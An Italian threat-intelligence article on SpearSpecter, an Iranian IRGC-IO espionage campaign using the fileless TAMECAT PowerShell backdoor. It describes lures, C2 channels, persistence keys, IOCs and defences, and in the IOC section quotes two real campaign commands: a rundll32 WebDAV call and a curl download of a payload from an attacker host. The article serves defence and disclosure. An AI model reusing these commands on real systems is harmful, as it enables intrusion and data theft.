SpearSpecter: la nuova campagna di spionaggio iraniana che sfrutta la backdoor TAMECAT

La scoperta della campagna SpearSpecter, attribuita ad attori iraniani affiliati all’Organizzazione di Intelligence del Corpo delle Guardie della Rivoluzione Islamica (IRGC-IO), segna un salto di qualità nelle operazioni di cyber-spionaggio statale. La minaccia, individuata dall’Agenzia Nazionale Digitale israeliana, combina ingegneria sociale prolungata, malware fileless e canali di comando e controllo multipli per infiltrare obiettivi governativi di alto profilo e le loro cerchie familiari. Il cuore tecnico dell’operazione è un backdoor PowerShell modulare denominato TAMECAT, progettato per mantenere accesso remoto persistente e sottrarre dati sensibili in modo invisibile. Gli analisti descrivono SpearSpecter come un’evoluzione diretta di gruppi già noti come APT42, Mint Sandstorm, Educated Manticore e CharmingCypress, ma con una maggiore sofisticazione psicologica e operativa.

L’approccio degli attaccanti si distingue per l’uso combinato di falsi profili, conversazioni reali su WhatsApp e inviti a eventi istituzionali, che instaurano un rapporto di fiducia con la vittima prima della compromissione. Una volta attivato il payload, TAMECAT opera esclusivamente in memoria, impiegando tecniche di living-off-the-land per confondersi con processi legittimi e ridurre la visibilità forense.

Origine e struttura della campagna

L’infrastruttura di SpearSpecter è stata attiva a partire da agosto 2025, con domini registrati come cloudcaravan.info e filenest.info, utilizzati per distribuire documenti lure caricati su OneDrive. Le vittime ricevevano email personalizzate o messaggi diretti con link apparentemente legittimi che, una volta cliccati, avviavano una sequenza d’infezione basata su WebDAV e file LNK malevoli.

Il primo contatto con l’utente sfrutta il protocollo search-ms di Windows per aprire Explorer e collegarsi a server compromessi come datadrift.somee.com. Il file LNK esegue un comando che scarica da Cloudflare Workers uno script batch offuscato, poi convertito in codice PowerShell tramite Invoke-Expression. Questo codice carica i moduli TAMECAT direttamente in memoria, attivando la comunicazione con i server C2 su HTTPS, Discord e Telegram.

Ogni modulo riceve comandi cifrati con AES-256 CBC utilizzando una chiave statica e un IV casuale trasmesso nell’header Sec-Host, una tecnica pensata per evadere l’ispezione dei pacchetti. Le attività persistenti vengono gestite tramite chiavi di registro come HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Renovation, che attiva script beacon all’avvio del sistema, mentre ulteriori callback segnalano la disponibilità degli host attraverso Firebase.

Tecniche di evasione e canali C2

Gli analisti hanno osservato l’impiego sistematico di Living-off-the-Land Binaries (LOLBins) quali conhost.exe, curl.exe e msedge.exe, usate per eseguire comandi, scaricare payload e simulare attività legittime di sistema. Le comunicazioni verso i server C2 avvengono attraverso canali mascherati nei flussi HTTPS standard o sfruttando bot Telegram e webhook Discord, una scelta che garantisce resilienza e anonimato operativo. Le pagine di phishing utilizzate come esca supportano 43 lingue e includono falsi CAPTCHA “Verified by Visa”, rendendo l’interazione credibile. Questi portali sono in grado di validare numeri di carte di credito tramite l’algoritmo Luhn, simulando processi reali di autenticazione e in alcuni casi tentando microtransazioni in background. TAMECAT si distingue per la capacità di caricare moduli aggiuntivi in base al contesto della vittima: keylogger temporanei, estrazione dei file OST di Outlook, credenziali salvate nei browser e screenshot mirati. L’assenza di scritture permanenti sul disco riduce drasticamente le tracce rilevabili dagli antivirus tradizionali.

Ingegneria sociale e targeting esteso

L’aspetto più insidioso di SpearSpecter è la componente umana. Gli operatori dell’IRGC-IO instaurano contatti diretti con le vittime, spesso fingendosi organizzatori di conferenze, ricercatori accademici o funzionari NATO, per ottenere un dialogo informale e convincente. Le interazioni su WhatsApp, talvolta protratte per settimane, portano alla condivisione di file compromessi o link a inviti personalizzati. In diversi casi, i bersagli primari erano ufficiali della difesa e del governo, ma anche familiari e collaboratori, sfruttati come vettori laterali per accedere a reti più sensibili. Questa strategia di “soft infiltration” amplia la superficie d’attacco e consente di raccogliere informazioni relazionali utili a operazioni successive. Gli investigatori segnalano che i dati esfiltrati comprendono documenti, identità digitali e metadati di sistema, utilizzati per mappare la struttura delle organizzazioni colpite. Il malware adotta un modello di raccolta selettiva — definito smash-and-grab — che privilegia piccoli frammenti di dati difficili da correlare, riducendo la possibilità di rilevamento tramite anomalie di rete.

Indicatori di compromissione e tracciamento

Le indagini hanno identificato diversi indicatori di compromissione (IOC) associati a SpearSpecter:

• Domini di delivery: datadrift.somee.com, line.completely.workers.dev, filenest.info, cloudcaravan.info.
• Server C2: eaggcz2fj7yzqdzx97i96.darijo-bosanac-dl.workers.dev, webhook Discord dedicati e bot Telegram registrati in Paesi terzi.
• Registry keys di persistenza: HKCU:\SOFTWARE\MSCore\config, HKCU:\Software\Microsoft\Windows\CurrentVersion\Run\Renovation, HKU:<SID>\Environment\UserInitMprLogonScript.
• File di appoggio: %LOCALAPPDATA%\Microsoft\Windows\AutoUpdate\fhgPczTORoCNEDsm.txt, %LOCALAPPDATA%\Caches\FileCrawler.txt.

Le comunicazioni malevole contengono comandi come
rundll32.exe C:\WINDOWS\system32\davclnt.dll, DavSetCookie datadrift.somee.com@SSL
e
cmd /c curl --ssl-no-revoke -o vgh.txt https://line.completely.workers.dev/aoh5,
seguiti da rinomina e avvio di batch temporanei. Gli operatori utilizzano inoltre server staging su S3 e piattaforme come scalingo.io per ospitare payload cifrati.

Contromisure e difesa preventiva

Le contromisure consigliate includono l’attivazione del logging PowerShell Script Block e l’uso di Sysmon o EDR per monitorare attività anomale legate a curl, cmd o processi rundll32. È raccomandato disabilitare il protocollo search-ms tramite il Registro di sistema per impedire l’esecuzione automatica dei file LNK remoti. Le organizzazioni dovrebbero implementare politiche di hardening PowerShell con Constrained Language Mode e AMSI, bloccare header sospetti come Sec-Host e filtrare connessioni in uscita verso Telegram e Discord se non necessarie. Sul piano umano, è essenziale un programma di formazione anti-phishing specifico per personale dirigenziale, poiché SpearSpecter sfrutta relazioni sociali più che vulnerabilità tecniche. Le difese efficaci combinano quindi educazione, monitoraggio comportamentale e segmentazione di rete per isolare rapidamente endpoint compromessi.

Valutazione strategica e conclusioni

L’indagine dell’Agenzia Nazionale Digitale israeliana evidenzia come SpearSpecter rappresenti una nuova generazione di minacce iraniane, dove la frontiera tra inganno psicologico e attacco informatico si fa sempre più sottile. Il backdoor TAMECAT dimostra una maturità tecnica notevole: architettura modulare, esecuzione in memoria, crittografia avanzata e sfruttamento di infrastrutture legittime per il comando e controllo. La campagna dimostra la capacità dell’IRGC-IO di evolversi oltre le operazioni classiche di APT42, puntando su obiettivi mirati e strategie di lungo periodo. La combinazione di social engineering, tattiche stealth e uso di canali C2 commerciali rende SpearSpecter particolarmente pericolosa per governi e organizzazioni internazionali. Secondo gli esperti, la difesa efficace richiede cooperazione internazionale e condivisione rapida degli IOC, oltre all’adozione di sistemi di detection basati sul comportamento. SpearSpecter conferma che lo spionaggio digitale iraniano rimane uno dei fronti più attivi e adattivi del panorama cyber globale.